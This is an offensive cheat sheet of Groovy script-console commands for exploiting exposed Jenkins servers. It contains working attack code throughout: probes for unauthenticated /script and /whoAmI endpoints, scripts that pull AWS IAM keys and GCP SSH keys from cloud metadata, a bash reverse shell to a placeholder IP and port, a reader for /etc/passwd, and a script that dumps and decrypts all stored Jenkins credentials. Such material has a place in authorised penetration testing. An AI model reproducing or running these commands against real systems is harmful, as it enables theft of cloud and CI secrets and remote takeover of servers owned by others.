jenkins
Groovy script console commands for exploiting an exposed Jenkins instance, from cloud credential theft to reverse shells.
$ Finding the script console
The Groovy script console is commonly left unauthenticated on misconfigured Jenkins instances. Check these endpoints without credentials:
/script
/script/
/whoAmI
/systemInfo
/credentials/
/asynchPeople/
A quick unauthenticated check:
curl -s -o /dev/null -w "%{http_code}" http://jenkins.example.com/script
# 200 means the script console is open; 403 means it requires auth
If /whoAmI reports anonymous with overall/admin privileges, you have full Groovy execution.
$ AWS IAM role keys
Fetch the instance metadata to dump temporary IAM credentials attached to the Jenkins host:
def command = "wget -q -O - http://169.254.169.254/latest/meta-data/iam/security-credentials/"
def proc = command.execute()
proc.waitFor()
def command2 = "wget -q -O - http://169.254.169.254/latest/meta-data/iam/security-credentials/${proc.in.text}/"
def proc2 = command2.execute()
proc2.waitFor()
println "Process exit code: ${proc2.exitValue()}"
println "Std Err: ${proc2.err.text}"
println "Std Out: ${proc2.in.text}"
This should print the IAM role keys:
Process exit code: 0
Std Err:
Std Out: {
"Code" : "Success",
"LastUpdated" : "2018-10-08T15:36:01Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAXASDASDADSSAD7",
"SecretAccessKey" : "iSnUqdsffsdfssfdfdsdfdsfNXutY",
"Token" : "9QNiu+O/+kh6PvtfkDeh47h5eqvIGyiQ6HE+HqmgHtXRgXfdqduR5MdYOo9AzUsdffffffffffLQn6qzPj2sm7anG1v/S4EgP/sdrDOyHk9xeXV58o9PLt3QU=",
"Expiration" : "2018-10-08T21:53:19Z"
}
$ Reverse shell
Change YOURIP for your IP and YOURPORT for your port. Ensure you have netcat running for the connect back:
def command = "bash -i >& /dev/tcp/YOURIP/YOURPORT 0>&1"
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"
$ Google metadata public SSH keys
def command = "curl http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json"
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"
$ Print environment — handy to see if it's a container
def command = "printenv"
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"
$ Groovy one-liners without the shell
You can run commands directly from the console without a full script wrapper:
"id".execute().text
# or with a shell, for pipes and redirection:
["bash", "-c", "cat /etc/passwd | grep -v nologin"].execute().text
Anything returned from .text prints directly in the console output.
$ Dump stored credentials
Jenkins stores credentials (API tokens, SSH keys, cloud keys) in its credential store. Retrieve and decrypt them all with:
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.plugins.credentials.common.*
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
Jenkins.instance, null, null)
creds.each {
println "${it.id} : ${it.username} : ${it.password ?: it.privateKey}"
}
Secrets stored with the Secret Text type can be revealed with it.secret.getPlainText(). The browsing UI at /credentials/ also lists what exists even when it does not show the values.
$ Useful information gathering via the script console
Enumerate jobs, users, and system details without touching the shell:
# List all jobs and their build status
Jenkins.instance.getAllItems(hudson.model.Job.class).each {
println "${it.fullName} : ${it.buildHealth.healthScore}"
}
# List all users
Jenkins.instance.getAllItems(hudson.model.User.class).each { println it.id }
# Confirm the JVM and environment Jenkins is running in
println System.getProperty("os.name") + " " + System.getProperty("os.version")
println System.getenv("HOSTNAME")
$ Checking the anonymous read misconfiguration
Two separate issues commonly expose a Jenkins instance: anonymous script console access and anonymous read access. Check both:
curl -s http://jenkins.example.com/api/json?tree=jobs[name] | head -c 500
curl -s http://jenkins.example.com/whoAmI
If the API returns job names, anonymous read is enabled. Job configs at /job/<name>/config.xml may then leak build steps containing hardcoded secrets. Environments listing build parameters at /job/<name>/env-vars.html can leak internal hostnames and tokens.